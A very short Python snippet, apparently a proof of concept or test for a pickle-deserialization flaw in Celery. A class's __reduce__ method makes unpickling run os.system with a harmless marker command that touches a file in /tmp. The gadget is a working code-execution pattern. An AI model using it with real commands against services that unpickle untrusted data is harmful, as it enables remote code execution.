command = 'touch /tmp/celery_success' class Person(object): def __reduce__(self): return (__import__('os').system, (command,))